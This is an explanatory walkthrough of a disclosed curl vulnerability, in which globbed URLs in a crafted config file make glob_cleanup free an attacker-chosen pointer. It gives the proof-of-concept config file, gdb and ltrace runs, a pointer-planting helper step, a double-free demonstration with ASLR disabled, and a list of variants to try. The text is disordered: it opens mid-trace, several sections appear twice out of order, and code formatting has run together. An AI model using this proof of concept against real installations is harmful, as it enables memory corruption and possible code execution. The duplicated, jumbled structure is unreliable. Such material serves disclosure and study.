--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
The trace confirms the pointer passed to free is the value written into the config file.
Step 5: turn it into a double free
With control of the free pointer established, the researcher disabled ASLR for simplicity:
echo 0 > /proc/sys/kernel/randomize_va_space
Then, taking an address that had already been freed in the earlier trace and writing it into the config file, the same run produces a double free:
python mutate.py 0x555555602dd0 && ltrace curl --config vuln.conf
malloc(13) = 0x555555600220
memcpy(0x555555600220, "google.com-Z", 12) = 0x555555600220
strchr("[.-p].example.com"", ']') = "].example.com""
curl_url(0x555555602c9c, 93, 0x7fffffffd498, 0x5a2d6d6f632e656c) = 0x555555603a40
memcpy(0x7fffffffd3c0, "[.-p]", 5) = 0x7fffffffd3c0
curl_url_set(0x555555603a40, 0, 0x7fffffffd3c0, 512) = 22
curl_url_cleanup(0x555555603a40, 0x5555556001e0, 0x7ffff7cb2490, 49) = 0x5555555cc010
realloc(0x555555600180, 192) = 0x555555603aa0
curl_msnprintf(0x7fffffffd4f0, 512, 0x5555555903d8, 0x55555559038a) = 89
curl_mfprintf(0x7ffff7df84e0, 0x5555555903fa, 3, 0x7fffffffd4f0curl: (3) bad range specification in URL position 14:
google.com-Z[.-p].example.com"
^
) = 100
free(0x555555600220) = <void>
free(0x5555556023d0) = <void>
free(0x555555602dd0) = <void>
free(0x555555602dd0free(): double free detected in tcache 2
<no return ...>
--- SIGABRT (Aborted) ---
+++ killed by SIGABRT +++
The glibc allocator detects the second free of the same chunk in the tcache and aborts. That is the double-free path, and it shows the primitive is not limited to crashing on an unmapped address: it can free a chunk that is already free.
Root cause
The crash happens in glob_cleanup in tool_urlglob.c, in the loop that frees each element of a GLOB_SET pattern. The element pointer that the loop frees holds a value that came from the URL string in the config file, so a crafted URL makes free be called on data that is not a heap allocation. The report does not go further into which parsing step stores the attacker bytes in that slot; what it shows is the resulting call chain and the source line.
Existing mitigations do not prevent the primitive itself. The researcher notes that ASLR and tcache mitigations would need to be bypassed, either with an additional vulnerability such as an arbitrary read or memory leak, or by leveraging the same bug to obtain a read/write primitive. The double-free run above shows glibc's tcache detection firing.
Impact
A controlled pointer is passed to free, which can lead to a double-free or use-after-free and, depending on the environment where curl runs, to remote code execution or privilege escalation. The researcher rates this Low because exploitation requires tricking a user into running a crafted config file, and notes that ~/.curlrc can also be used to plant suspicious parameters. The report also points out that curl is already capable of executing commands, and that this vulnerability arises from how curl processes configuration files, not from any inherent command-execution capability. Bypassing ASLR and tcache mitigations needs an additional vulnerability or a read/write primitive derived from the same bug.
The researcher also notes that the same crash was not reproduced from C code using <curl/curl.h>, though it might be feasible.
Fix
The report does not describe a fix or a patch. What it establishes is the faulty free in glob_cleanup and the fact that the freed pointer comes from config file data.
Variants to test
The researcher states that this is one variant of config file exploitation, that curl parameters were generated and propagated through the config file, and that each variant exposes different pieces of controllable data reaching __GI___libc_free. Some values cannot be influenced because they originate from internal curl symbols, while other variants give full control over the pointer passed to free. curl 8.16.0 is affected with different samples and different controlled parameters.
Concretely, on another target or build:
- Vary the URL globbing constructs in
--urllines (sets, ranges, and combinations with other options such as-Zand--doh-url) and run undergdborltrace. A positive result is afreecall whose argument contains bytes taken from the config file rather than a heap address. - Replace the controlled bytes with a known marker such as
0x4242424242424242and check that the marker appears as the argument to__GI___libc_free. A positive result is the marker in$rdiat the crash. - With ASLR disabled, feed an address that was already freed in the same run. A positive result is glibc reporting a double free, as in the
tcache 2abort above. - Try the same crafted options through
~/.curlrcrather than an explicit--configfile, since the report mentions that path as a possible route. A positive result is the same crash without the user passing--config. - Test curl 8.16.0 with different parameter combinations, since the report says it is affected with different samples and different controlled parameters. A positive result is the same controlled-pointer free on that version.
What happened, in plain words
curl is a small program that you run in a terminal to download or send data over the internet. It is used by people directly, but also by lots of other software behind the scenes. Like many command line programs, curl can read its settings from a text file instead of from the command line. You point it at such a file with the --config option, and curl also automatically reads a default file called ~/.curlrc from your home folder if it exists.
Each line of that file is treated as if you had typed it on the command line. Some lines contain a URL, and curl has a feature called URL globbing: it lets you write a shorthand pattern and curl expands it into several URLs. For example, a range or a set in square brackets stands for several values, and curl creates one transfer per value.
The bug report describes what happens when a crafted config file makes curl hand a piece of text from that file to a memory function called free. free is supposed to be given back a block of memory that the program itself reserved earlier. Here it is given a value chosen by whoever wrote the config file. That is called an arbitrary free. Depending on what the program does next, this can turn into a double free (freeing the same block twice), a use-after-free (using a block after it was given back), or general heap corruption (damage to the program's working memory).
The researcher also states that AI was used to list some resources related to the bug.
Setup
The report lists the affected versions:
- curl 8.17.0 (x86_64-pc-linux-gnu) libcurl/8.17.0 OpenSSL/3.4.1 zlib/1.3.1 brotli/1.1.0 zstd/1.5.7 libidn2/2.3.8 libpsl/0.21.2 nghttp2/1.64.0 librtmp/2.3 OpenLDAP/2.6.9, Release-Date: 2025-11-05, with the protocol and feature lists shown in the report.
- curl 8.16.0 is also affected, with different samples and different controlled parameters in the config file.
Testing was done on Linux kali 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1.
The tools used are gdb (a debugger, a program that lets you pause another program and look inside it; the gef➤ prompt suggests the GEF extension is installed), ltrace (a tool that prints the library calls a program makes, such as calls to free), and a small Python helper called mutate.py written by the researcher. No account or remote service is needed. The precondition is that curl is run with a crafted config file, passed with --config; the report also notes ~/.curlrc could be used.
Finding it
The starting point is a config file whose URL options contain globbing syntax. When curl parses a URL that contains a set such as [.-p], the glob machinery later frees the individual elements of the set. In the crashing run, the pointer that reaches free is not a heap pointer at all: it is the ASCII bytes 127.0.0., which is data taken from the config file itself. That is what makes the bug interesting. The value being freed is attacker-controlled text, so the free target can be chosen by whoever writes the config file.
Exploitation
Step 1: create the config file
Create an empty file and open it in an editor:
touch host0.bin
touch creates an empty file if it does not exist yet, and does nothing harmful if it does. The name host0.bin is just a name; the .bin ending does not matter to curl. Opening the file in an editor is how the researcher then pastes the content below.
Paste the following content into host0.bin:
-Z
--url "http://google.com/iernay{1-2}[redacted]"
--url "http://[::%2-socks5]:8080/"
--url google.com-Z[.-p].example.com"
--doh-url=[redacted]
Line by line:
-Zturns on parallel transfers, so curl can work on several URLs at the same time.- The first
--urlline contains{1-2}, which is a range in curl's globbing syntax. curl would expand it into two URLs, one with1and one with2in that spot. The long random-looking string after it is filler. - The second
--urlline contains a bracketed host that looks like an IPv6 address with extra characters. Brackets are also globbing syntax, so curl's glob code gets involved here too. - The third
--urlline contains the set[.-p]. This is the line that matters for the crash: the set is what the glob code stores and later frees element by element. --doh-url=[redacted]tells curl to use DNS over HTTPS through a local address. It is part of the mix of options.
The file mixes several option types on purpose. The third URL is the one that matters for the crash.
Step 2: run it under gdb
gdb -ex "r" --args curl --config host0.bin
gdb is the debugger. --args curl --config host0.bin tells it which program to run and with which arguments, so curl is started with the crafted config file. -ex "r" means run the program immediately once gdb has loaded it. When the program crashes, gdb stops and lets you inspect the state.
The run stops with SIGSEGV inside __GI___libc_free. SIGSEGV is the signal the operating system sends when a program touches memory it is not allowed to touch. __GI___libc_free is the internal name of the standard C library's free function. The registers show the argument being freed:
$rax : 0x2e302e302e373231 ("127.0.0."?)
$rsi : 0x2e302e302e373221 ("!27.0.0."?)
$rdi : 0x2e302e302e373231 ("127.0.0."?)
$rip : 0x00007ffff7cb24aa → <free+001a> mov rax, QWORD PTR [rdi-0x8]
Registers are tiny storage slots inside the processor. $rdi is the register that carries the first argument to a function on this platform, so $rdi holding 0x2e302e302e373231 means free was called with that value. $rip is the instruction pointer, the address of the instruction being executed; here it is inside free, at the instruction that reads memory just before the pointer. The (\"127.0.0.\"?) next to the value is gdb's attempt to show those bytes as text.
The backtrace shows the path through the glob code:
[#0] 0x7ffff7cb24aa → __GI___libc_free(mem=0x2e302e302e373231)
[#1] 0x55555557e8a7 → glob_cleanup(glob=0x5555555cb618 <globalconf+88>)
[#2] 0x55555557e7ba → glob_url(glob=0x5555555cb618 <globalconf+88>, url=0x555555602c90 "google.com-Z[.-p].example.com\"", urlnum=0x5555555cb688 <globalconf+200>, error=0x7ffff7df84e0 <_IO_2_1_stderr_>)
[#3] 0x555555575f32 → single_transfer(config=0x5555555ed9a0, share=0x5555555fff50, added=0x7fffffffd86e, skipped=0x7fffffffd86d)
[#4] 0x55555557769d → transfer_per_config(config=0x5555555ed9a0, share=0x5555555fff50, added=0x7fffffffd86e, skipped=0x7fffffffd86d)
[#5] 0x555555577704 → create_transfer(share=0x5555555fff50, added=0x7fffffffd86e, skipped=0x7fffffffd86d)
[#6] 0x555555576a88 → add_parallel_transfers(multi=0x555555604920, share=0x5555555fff50, morep=0x7fffffffd8e0, addedp=0x7fffffffd8e1)
[#7] 0x555555576f6a → parallel_transfers(share=0x5555555fff50)
[#8] 0x5555555777bd → run_all_transfers(share=0x5555555fff50, result=CURLE_OK)
[#9] 0x555555577be7 → operate(argc=0x3, argv=0x7fffffffdb08)
A backtrace is a list of function calls, newest first. Read it from the bottom up: operate is curl's main work function, it runs all transfers, which run parallel transfers, which add transfers, which create a transfer, which runs a single transfer, which calls glob_url to expand the URL pattern, which calls glob_cleanup to tidy up, which calls free with the bad value. The url= argument in frame 2 shows the third URL from the config file, the one with [.-p].
The value 0x2e302e302e373231 is the little-endian encoding of the string 127.0.0.. Little-endian means the bytes are stored in the opposite order to how we read them, so the first byte in memory is the last character. The researcher confirms this by decoding it:
echo -ne "0x2e302e302e373231" |xxd -r -p |rev
echo -ne prints the hexadecimal text without a trailing newline. xxd -r -p turns hexadecimal text back into raw bytes. rev reverses the order of the bytes, undoing the little-endian storage. The output is:
127.0.0.
So the bytes passed to free are exactly the bytes the config file supplied, and the researcher notes this is what can be controlled for this config file.
Step 3: confirm control of the pointer
The researcher wrote a Python script, mutate.py, that replaces the controlled data in the config file with an arbitrary address and writes a new file, vuln.conf. Running it with a recognisable value:
python mutate.py 0x4242424242424242 && gdb -ex "r" --args curl --config vuln.conf
python mutate.py 0x4242424242424242 runs the helper and asks it to put the value 0x4242424242424242 where the controlled bytes used to be. 0x42 is the hexadecimal code for the letter B, so this value shows up as BBBBBBBB in memory, which is easy to spot. && means run the next command only if the first one succeeded. The next command starts curl with the new file under gdb, as before.
The crash now shows the chosen value in the argument register and in the free call:
$rax : 0x4242424242424242 ("BBBBBBBB"?)
$rsi : 0x4242424242424232 ("2BBBBBBB"?)
$rdi : 0x4242424242424242 ("BBBBBBBB"?)
$rip : 0x00007ffff7cb24aa → <free+001a> mov rax, QWORD PTR [rdi-0x8]
[#0] 0x7ffff7cb24aa → __GI___libc_free(mem=0x4242424242424242)
[#1] 0x55555557e8a7 → glob_cleanup(glob=0x5555555cb618 <globalconf+88>)
[#2] 0x55555557e7ba → glob_url(glob=0x5555555cb618 <globalconf+88>, url=0x555555602c90 "google.com-Z[.-p].example.com\"", urlnum=0x5555555cb688 <globalconf+200>, error=0x7ffff7df84e0 <_IO_2_1_stderr_>)
The marker appears exactly where the config file text appeared before. That is the proof that the value passed to free is under the control of whoever writes the config file, not something curl chose.
The where command gives the source locations:
#0 0x00007ffff7cb24aa in __GI___libc_free (mem=0x4242424242424242) at ./malloc/malloc.c:3375
#1 0x000055555557e8a7 in glob_cleanup (glob=0x5555555cb618 <globalconf+88>) at tool_urlglob.c:499
#2 0x000055555557e7ba in glob_url (glob=0x5555555cb618 <globalconf+88>,
url=0x555555602c90 "google.com-Z[.-p].example.com\"", urlnum=0x5555555cb688 <globalconf+200>,
error=0x7ffff7df84e0 <_IO_2_1_stderr_>) at tool_urlglob.c:481
#3 0x0000555555575f32 in single_transfer (config=0x5555555ed9a0, share=0x5555555fff50, added=0x7fffffffd86e,
skipped=0x7fffffffd86d) at tool_operate.c:1233
#4 0x000055555557769d in transfer_per_config (config=0x5555555ed9a0, share=0x5555555fff50, added=0x7fffffffd86e,
skipped=0x7fffffffd86d) at tool_operate.c:2132
#5 0x0000555555577704 in create_transfer (share=0x5555555fff50, added=0x7fffffffd86e, skipped=0x7fffffffd86d)
at tool_operate.c:2151
#6 0x0000555555576a88 in add_parallel_transfers (multi=0x555555604920, share=0x5555555fff50, morep=0x7fffffffd8e0,
addedp=0x7fffffffd8e1) at tool_operate.c:1486
#7 0x0000555555576f6a in parallel_transfers (share=0x5555555fff50) at tool_operate.c:1840
#8 0x00005555555777bd in run_all_transfers (share=0x5555555fff50, result=CURLE_OK) at tool_operate.c:2173
#9 0x0000555555577be7 in operate (argc=0x3, argv=0x7fffffffdb08) at tool_operate.c:2314
#10 0x0000555555573096 in main (argc=0x3, argv=0x7fffffffdb08) at tool_main.c:199
This is the same backtrace as before, but now with file names and line numbers. tool_urlglob.c is the file that handles URL globbing, tool_operate.c is the file that drives the transfers, and malloc/malloc.c is the standard library's memory allocator. The crash is at line 499 of tool_urlglob.c.
Frame 1 and the surrounding source show the free loop in glob_cleanup:
#1 0x000055555557e8a7 in glob_cleanup (glob=0x5555555cb618 <globalconf+88>) at tool_urlglob.c:499
499 tool_safefree(glob->pattern[i].c.set.elem[elem]);
494 if(glob->pattern) {
495 for(i = 0; i < glob->size; i++) {
496 if((glob->pattern[i].type == GLOB_SET) &&
497 (glob->pattern[i].c.set.elem)) {
498 for(elem = glob->pattern[i].c.set.size - 1; elem >= 0; --elem)
499 tool_safefree(glob->pattern[i].c.set.elem[elem]);
500 tool_safefree(glob->pattern[i].c.set.elem);
501 }
502 }
503 tool_safefree(glob->pattern);
This is the code that does the damage. glob->pattern is an array describing the pieces of the URL pattern. The outer loop walks over each piece. The check on lines 496 and 497 picks out pieces of type GLOB_SET, which is what a bracketed set like [.-p] becomes. The inner loop on line 498 walks backwards over the elements of that set, and line 499 frees each one with tool_safefree, which is curl's wrapper around free. If one of those element pointers is not a real allocated block but text from the config file, free is called on that text, and the program crashes or corrupts memory.
Step 4: confirm with ltrace
The same run can be observed with ltrace:
ltrace curl --config vuln.conf
ltrace runs the program and prints every call it makes into shared libraries, including malloc, free, memcpy and curl's own functions. It is a way to watch the program's memory handling without a debugger.
The trace shows the URL being split and the set element being handled, then the bad range error, then the frees:
curl_easy_setopt(0x5555556123e0, 99, 1, 0x2777) = 0
curl_easy_setopt(0x5555556123e0, 0x4efb, 0x55555557a7d7, 1) = 0
curl_easy_setopt(0x5555556123e0, 0x2749, 0x555555601500, 24) = 0
curl_easy_setopt(0x5555556123e0, 43, 0, 0x2749) = 0
curl_easy_setopt(0x5555556123e0, 0x271a, 0x5555556016c8, 0) = 0
curl_multi_add_handle(0x555555604920, 0x5555556123e0, 0x5555556123e0, 0x271a) = 0
curl_getenv(0x55555558f16b, 0x5555555fff50, 0, 0x7fffffffd89d) = 0
curl_getenv(0x55555558f17a, 0x7fffffffef4f, 14, 79) = 0
curl_getenv(0x55555558f187, 0x55555558f17a, 12, 83) = 0
free(nil) = <void>
memset(0x5555555cb618, '\0', 80) = 0x5555555cb618
malloc(96) = 0x555555600180
realloc(nil, 32) = 0x5555556019c0
memcpy(0x5555556019c0, "g", 1) = 0x5555556019c0
memcpy(0x5555556019c1, "o", 1) = 0x5555556019c1
memcpy(0x5555556019c2, "o", 1) = 0x5555556019c2
memcpy(0x5555556019c3, "g", 1) = 0x5555556019c3
memcpy(0x5555556019c4, "l", 1) = 0x5555556019c4
memcpy(0x5555556019c5, "e", 1) = 0x5555556019c5
memcpy(0x5555556019c6, ".", 1) = 0x5555556019c6
memcpy(0x5555556019c7, "c", 1) = 0x5555556019c7
memcpy(0x5555556019c8, "o", 1) = 0x5555556019c8
memcpy(0x5555556019c9, "m", 1) = 0x5555556019c9
memcpy(0x5555556019ca, "-", 1) = 0x5555556019ca
memcpy(0x5555556019cb, "Z", 1) = 0x5555556019cb
strchr("[.-p].example.com"", ']') = "].example.com""
curl_url(0x555555602c9c, 93, 0x7fffffffd498, 0x55555560195a) = 0x5555556039e0
memcpy(0x7fffffffd3c0, "[.-p]", 5) = 0x7fffffffd3c0
curl_url_set(0x5555556039e0, 0, 0x7fffffffd3c0, 512) = 22
curl_url_cleanup(0x5555556039e0, 0x5555556001e0, 0x7ffff7cb2490, 49) = 0x5555555cc010
malloc(8) = 0x5555556023d0
malloc(13) = 0x555555600220
memcpy(0x555555600220, "google.com-Z", 12) = 0x555555600220
strchr("[.-p].example.com"", ']') = "].example.com""
curl_url(0x555555602c9c, 93, 0x7fffffffd498, 0x5a2d6d6f632e656c) = 0x555555603a40
memcpy(0x7fffffffd3c0, "[.-p]", 5) = 0x7fffffffd3c0
curl_url_set(0x555555603a40, 0, 0x7fffffffd3c0, 512) = 22
curl_url_cleanup(0x555555603a40, 0x5555556001e0, 0x7ffff7cb2490, 49) = 0x5555555cc010
realloc(0x555555600180, 192) = 0x555555603aa0
curl_msnprintf(0x7fffffffd4f0, 512, 0x5555555903d8, 0x55555559038a) = 89
curl_mfprintf(0x7ffff7df84e0, 0x5555555903fa, 3, 0x7fffffffd4f0curl: (3) bad range specification in URL position 14:
google.com-Z[.-p].example.com"
^
) = 100
free(0x555555600220) = <void>
free(0x5555556023d0) = <void>
free(0x4242424242424242 <no return ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
What the trace shows, in order:
- The
curl_easy_setoptandcurl_multi_add_handlelines are curl setting up the transfer options and adding the transfer to its multi handle, the object that manages several transfers at once. mallocreserves memory,reallocresizes a reservation,memcpycopies bytes,memsetfills memory with a value, andfreegives memory back.free(nil)is a free of nothing, which is allowed and does nothing.- The many one-byte
memcpycalls copy the charactersg,o,o,g,l,e,.,c,o,m,-,Zinto a buffer one at a time. That is the host part of the third URL being assembled. strchrlooks for the]character in the string, andcurl_urlandcurl_url_setare curl's URL parsing functions.curl_url_setreturns22, which is an error code, so the bracketed part is not accepted as a valid host.curl_msnprintfandcurl_mfprintfformat and print the error messagecurl: (3) bad range specification in URL position 14, which is the message a user would see.- Then the frees happen: two normal frees of real heap addresses, and finally
free(0x4242424242424242 <no return ...>, which crashes with SIGSEGV.
The trace confirms the pointer passed to free is the value written into the config file.
Step 5: turn it into a double free
With control of the free pointer established, the researcher disabled ASLR for simplicity:
echo 0 > /proc/sys/kernel/randomize_va_space
ASLR stands for Address Space Layout Randomization. It is a defence where the operating system places memory regions at random addresses each time a program starts, so an attacker cannot know in advance where things are. Writing 0 to /proc/sys/kernel/randomize_va_space turns that randomisation off. This is a debugging convenience on the researcher's own machine, not something an attacker can normally do. With ASLR off, addresses stay the same between runs, so an address seen in one trace can be reused in the next.
Then, taking an address that had already been freed in the earlier trace and writing it into the config file, the same run produces a double free:
python mutate.py 0x555555602dd0 && ltrace curl --config vuln.conf
0x555555602dd0 is an address that had already been freed, according to the researcher. Putting that address into the config file means curl will call free on a block that is already free. ltrace is used again to watch the calls.
malloc(13) = 0x555555600220
memcpy(0x555555600220, "google.com-Z", 12) = 0x555555600220
strchr("[.-p].example.com"", ']') = "].example.com""
curl_url(0x555555602c9c, 93, 0x7fffffffd498, 0x5a2d6d6f632e656c) = 0x555555603a40
memcpy(0x7fffffffd3c0, "[.-p]", 5) = 0x7fffffffd3c0
curl_url_set(0x555555603a40, 0, 0x7fffffffd3c0, 512) = 22
curl_url_cleanup(0x555555603a40, 0x5555556001e0, 0x7ffff7cb2490, 49) = 0x5555555cc010
realloc(0x555555600180, 192) = 0x555555603aa0
curl_msnprintf(0x7fffffffd4f0, 512, 0x5555555903d8, 0x55555559038a) = 89
curl_mfprintf(0x7ffff7df84e0, 0x5555555903fa, 3, 0x7fffffffd4f0curl: (3) bad range specification in URL position 14:
google.com-Z[.-p].example.com"
^
) = 100
free(0x555555600220) = <void>
free(0x5555556023d0) = <void>
free(0x555555602dd0) = <void>
free(0x555555602dd0free(): double free detected in tcache 2
<no return ...>
--- SIGABRT (Aborted) ---
+++ killed by SIGABRT +++
The trace is the same as before up to the frees. The first two frees are normal. The third free, free(0x555555602dd0), succeeds. The fourth free, of the same address again, is caught by the memory allocator, which prints free(): double free detected in tcache 2 and aborts the program with SIGABRT. SIGABRT is the signal a program sends itself when it detects a fatal internal problem.
tcache is a small per-thread cache inside glibc, the standard C library, that keeps recently freed blocks around for quick reuse. It keeps a record of which blocks are in it, so when the same block is freed twice it notices and stops the program. That is the double-free path, and it shows the primitive is not limited to crashing on an unmapped address: it can free a chunk that is already free.
Root cause
The crash happens in glob_cleanup in tool_urlglob.c, in the loop that frees each element of a GLOB_SET pattern. The element pointer that the loop frees holds a value that came from the URL string in the config file, so a crafted URL makes free be called on data that is not a heap allocation. The report does not go further into which parsing step stores the attacker bytes in that slot; what it shows is the resulting call chain and the source line.
Existing mitigations do not prevent the primitive itself. The researcher notes that ASLR and tcache mitigations would need to be bypassed, either with an additional vulnerability such as an arbitrary read or memory leak, or by leveraging the same bug to obtain a read/write primitive. The double-free run above shows glibc's tcache detection firing.
Impact
A controlled pointer is passed to free, which can lead to a double-free or use-after-free and, depending on the environment where curl runs, to remote code execution or privilege escalation. The researcher rates this Low because exploitation requires tricking a user into running a crafted config file, and notes that ~/.curlrc can also be used to plant suspicious parameters. The report also points out that curl is already capable of executing commands, and that this vulnerability arises from how curl processes configuration files, not from any inherent command-execution capability. Bypassing ASLR and tcache mitigations needs an additional vulnerability or a read/write primitive derived from the same bug.
The researcher also notes that the same crash was not reproduced from C code using <curl/curl.h>, though it might be feasible.
Fix
The report does not describe a fix or a patch. What it establishes is the faulty free in glob_cleanup and the fact that the freed pointer comes from config file data.
Variants to test
The researcher states that this is one variant of config file exploitation, that curl parameters were generated and propagated through the config file, and that each variant exposes different pieces of controllable data reaching __GI___libc_free. Some values cannot be influenced because they originate from internal curl symbols, while other variants give full control over the pointer passed to free. curl 8.16.0 is affected with different samples and different controlled parameters.
Concretely, on another target or build:
- Vary the URL globbing constructs in
--urllines (sets, ranges, and combinations with other options such as-Zand--doh-url) and run undergdborltrace. A positive result is afreecall whose argument contains bytes taken from the config file rather than a heap address. - Replace the controlled bytes with a known marker such as
0x4242424242424242and check that the marker appears as the argument to__GI___libc_free. A positive result is the marker in$rdiat the crash. - With ASLR disabled, feed an address that was already freed in the same run. A positive result is glibc reporting a double free, as in the
tcache 2abort above. - Try the same crafted options through
~/.curlrcrather than an explicit--configfile, since the report mentions that path as a possible route. A positive result is the same crash without the user passing--config. - Test curl 8.16.0 with different parameter combinations, since the report says it is affected with different samples and different controlled parameters. A positive result is the same controlled-pointer free on that version.
Glossary
- curl: a command line program and library for transferring data with URLs.
- Config file: a text file of settings that a program reads at startup instead of taking them from the command line.
--config: the curl option that tells it to read options from a given file.~/.curlrc: the default config file curl reads from the user's home folder if it exists.- URL: the address of something on the internet, such as
http://example.com/. - URL globbing: a curl feature that expands shorthand patterns in a URL, such as ranges and sets, into several URLs.
- Range: a globbing pattern like
{1-2}that stands for each value between the ends. - Set: a globbing pattern in square brackets, like
[.-p], that stands for a group of characters. free: the standard C library function that gives a block of memory back to the allocator when the program no longer needs it.malloc: the standard C library function that reserves a block of memory.realloc: the standard C library function that resizes a previously reserved block.memcpy: the standard C library function that copies bytes from one place to another.memset: the standard C library function that fills a block of memory with a single value.strchr: the standard C library function that finds the first occurrence of a character in a string.- Pointer: a value that holds the address of a block of memory.
- Heap: the area of memory a program uses for blocks it reserves at runtime with functions like
malloc. - Heap corruption: damage to the bookkeeping or contents of the heap, which can make a program misbehave or crash.
- Arbitrary free: a bug where an attacker can choose the pointer that is passed to
free. - Double free: freeing the same block of memory twice, which corrupts the allocator's records.
- Use-after-free: using a block of memory after it has been freed.
- Remote code execution (RCE): making a program run code the attacker chose, usually over a network or through a file.
- Privilege escalation: gaining more rights on a system than the attacker started with.
- ASLR: Address Space Layout Randomization, an operating system defence that places memory regions at random addresses each run.
/proc/sys/kernel/randomize_va_space: the Linux setting that controls ASLR;0turns it off.- tcache: a small per-thread cache in glibc that keeps recently freed memory blocks for quick reuse.
- glibc: the standard C library on most Linux systems, which provides
malloc,freeand many other functions. - SIGSEGV: the signal the operating system sends when a program accesses memory it is not allowed to.
- SIGABRT: the signal a program sends itself when it detects a fatal internal problem and aborts.
- gdb: the GNU debugger, a tool that lets you pause a program and inspect its state.
- GEF: an extension for gdb that adds extra displays and commands.
- ltrace: a tool that prints the library calls a program makes while it runs.
- xxd: a tool that converts between raw bytes and hexadecimal text.
- Register: a small storage slot inside the processor, used to pass arguments and hold intermediate values.
$rdi: on this platform, the register that carries the first argument to a function.$rip: the instruction pointer register, which holds the address of the instruction being executed.- Backtrace: a list of the function calls that led to the current point, newest first.
- Frame: one entry in a backtrace, representing one function call.
- Little-endian: a byte order where the least significant byte is stored first in memory.
- Hexadecimal: a way of writing numbers in base 16, using digits 0 to 9 and letters A to F, often prefixed with
0x. 0x42: the hexadecimal value 66, which is the character code for the letterB.tool_safefree: curl's wrapper aroundfreethat also clears the pointer afterwards.glob_cleanup: the curl function intool_urlglob.cthat frees the pieces of a URL glob pattern.glob_url: the curl function that expands a URL glob pattern into individual URLs.GLOB_SET: the internal type curl uses for a bracketed set in a URL pattern.tool_urlglob.c: the curl source file that implements URL globbing.tool_operate.c: the curl source file that drives transfers.malloc/malloc.c: the glibc source file that implements the memory allocator.curl_easy_setopt: the curl function that sets an option on a transfer handle.curl_multi_add_handle: the curl function that adds a transfer to a multi handle.curl_url/curl_url_set/curl_url_cleanup: curl's functions for creating, filling and releasing a parsed URL object.curl_msnprintf/curl_mfprintf: curl's internal functions for formatting and printing text.<curl/curl.h>: the header file a C program includes to use the libcurl library.- libcurl: the library form of curl, used by other programs.
- Arbitrary read: a bug that lets an attacker read memory they should not be able to read.
- Memory leak: a bug that reveals the contents of memory, often used to learn addresses.
- Read/write primitive: a bug that gives an attacker the ability to read and write chosen memory locations.
- Mitigation: a defence built into a system or program that makes exploitation harder.
- Bypass: getting around a defence.
- Low severity: a rating meaning the issue is real but hard to exploit or needs unusual conditions.
- AI: artificial intelligence, here used by the researcher to list resources related to the bug.